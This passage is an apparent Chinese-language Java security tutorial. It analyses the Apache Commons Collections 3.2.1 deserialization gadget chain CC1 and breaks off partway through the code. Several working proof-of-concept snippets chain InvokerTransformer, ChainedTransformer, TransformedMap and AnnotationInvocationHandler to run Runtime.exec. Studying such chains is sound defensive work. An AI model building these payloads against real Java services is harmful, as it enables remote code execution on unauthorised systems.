【Java安全】CC链分析(CC1+CC2) CC链分析CC链1回到顶部环境部署dependencygroupIdcommons-collections/groupIdartifactIdcommons-collections/artifactIdversion3.2.1/version/dependency回到顶部流程分析入口org.apache.commons.collections.Transformer其中有21个实现方法我们这里找到了有重写transform方法的InvokerTransformer类并且可以看到它也继承了Serializable很符合我们的要求入口类org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法inputiMethodNameiParamTypesiArgs都是可控的//我们来回顾一下如何利用反射调用Runtime中的exec方法Runtime rRuntime.getRuntime();Class cr.getclass();Method mc.getMethod(exec,String.class);m.invoke(r,calc);//那么我们尝试用transform方法来调用Runtime runtime Runtime.getRuntime();InvokerTransformer exec new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});exec.transform(runtime);可以看到成功执行了命令那么我们就找到了源头利用点了接下来就是一步步回溯寻找合适的子类构造漏洞链直到到达重写了readObject的类寻找某个类中的某个方法调用了transform方法看到org.apache.commons.collections.map.TransformedMap下的checkSetValue//我们找到该类的构造器和checkSetValue方法protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {//接受三个参数第一个为Map第二个和第三个就是Transformer我们需要得了可控。super(map);this.keyTransformer keyTransformer;this.valueTransformer valueTransformer;//这里是可控的}protected Object checkSetValue(Object value) {//接受一个对象类型的参数return this.valueTransformer.transform(value);//返回valueTransformer对应的transform方法那么我们这里就需要让valueTransformer为我们之前的in}但是这里有个问题可以看到构造器和方法都是proteced权限也就是说只能本类内部访问不能外部调用去实例化那么我们就需要找到内部实例化的工具这里往上查找可以找到一个public的静态方法decorate一个静态 方法这里我们就能控制参数现在调用transform方法的问题解决了返回去看checkSetValue可以看到value我们暂时不能控制全局搜索checkSetvalue看谁调用了它并且value值可受控制寻找合适的调用了checkSetValue的方法在AbstractInputCheckedMapDecorator类中发现凑巧的是它刚好是TransformedMap的父类当我们看到了setValue字样就应该想起来我们在遍历集合的时候就用过setValue和getValue所以我们只要对decorate这个map进行遍历setValue由于TransformedMap继承了AbstractInputCheckedMapDecorator类因此当调用setValue时会去父类寻找重新梳理一遍首先我们找到了TransformedMap这个类我们想要调用其中的checkSetValue方法但是这个类的构造器是protected权限只能类中访问所以我们调用decorate方法来实例化这个类在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对然后把这个map当成参数传入实例化成了一个transformedmap对象这个对象也是Map类型的然后我们对这个对象进行遍历在遍历过程中我们可以调用setValue方法而恰好又遇到了一个重写了setValue的副类这个重写的方法刚好调用了checkSetValue方法import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class second {public static void main(String[] args) {Runtime r Runtime.getRuntime();InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});HashMapObject, Object map new HashMap();map.put(1,2);MapObject, Object decorate TransformedMap.decorate(map, null, invokerTransformer);for (Map.Entry entry:decorate.entrySet()){entry.setValue(r);}}}但这只是一个插曲终究不是我们所希望的readObject方法我们需要一个readObject方法来代替上述的遍历Map功能追寻setValue追踪一下setValue看是在哪调用的在AnnotationInvocationHandler中找到而且还是在重写的readObject中调用的setValueprivate void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {ObjectInputStream.GetField fields s.readFields();SuppressWarnings(unchecked)Class? extends Annotation t (Class? extends Annotation)fields.get(type, null);SuppressWarnings(unchecked)MapString, Object streamVals (MapString, Object)fields.get(memberValues, null);// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType null;try {annotationType AnnotationType.getInstance(t);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException(Non-annotation type in annotation serial stream);}MapString, Class? memberTypes annotationType.memberTypes();// consistent with runtime Map typeMapString, Object mv new LinkedHashMap();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.EntryString, Object memberValue : streamVals.entrySet()) {String name memberValue.getKey();Object value null;Class? memberType memberTypes.get(name);if (memberType ! null) { // i.e. member still existsvalue memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {value new AnnotationTypeMismatchExceptionProxy(objectToString(value)).setMember(annotationType.members().get(name));}}mv.put(name, value);}我们分析下这个类未用public声明说明只能通过反射调用查看一下构造方法传入一个class和Map其中class继承了Annotation也就是需要传入一个注解类进去这里我们选择Targetimport org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class third {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {Runtime r Runtime.getRuntime();InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});HashMapObject, Object map new HashMap();map.put(1,2);MapObject, Object decorate TransformedMap.decorate(map, null, invokerTransformer);// for (Map.Entry entry:decorate.entrySet()){// entry.setValue(r);// }Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor declaredConstructor c.getDeclaredConstructor(Class.class, Map.class);Object o declaredConstructor.newInstance(Target.class, decorate);}}现在有个难题是Runtime类是不能被序列化的但是反射来的类可以被序列化的还好InvokeTransformer有一个绝佳的反射机制构造一下Method RuntimeMethod (Method) new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,null}).transform(Runtime.class);Runtime r (Runtime) new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);InvokerTransformer invokerTransformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});现在还有个小问题其中我们的transformedmap是传入了一个invokertransformer但是现在这个对象没有了被拆成了多个就是上述的代码得想办法统合起来这里就需要回到最初的Transformer接口里去寻找找到ChainedTransformer刚好这个方法是递归调用数组里的transform方法我们就可以这样构造Transformer[] transformers new Transformer[]{new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,null}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);HashMapObject, Object map new HashMap();map.put(1,2);MapObject, Object decorate TransformedMap.decorate(map, null, chainedTransformer);进一步构造import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class third {public static void serialize(Object obj) throws IOEx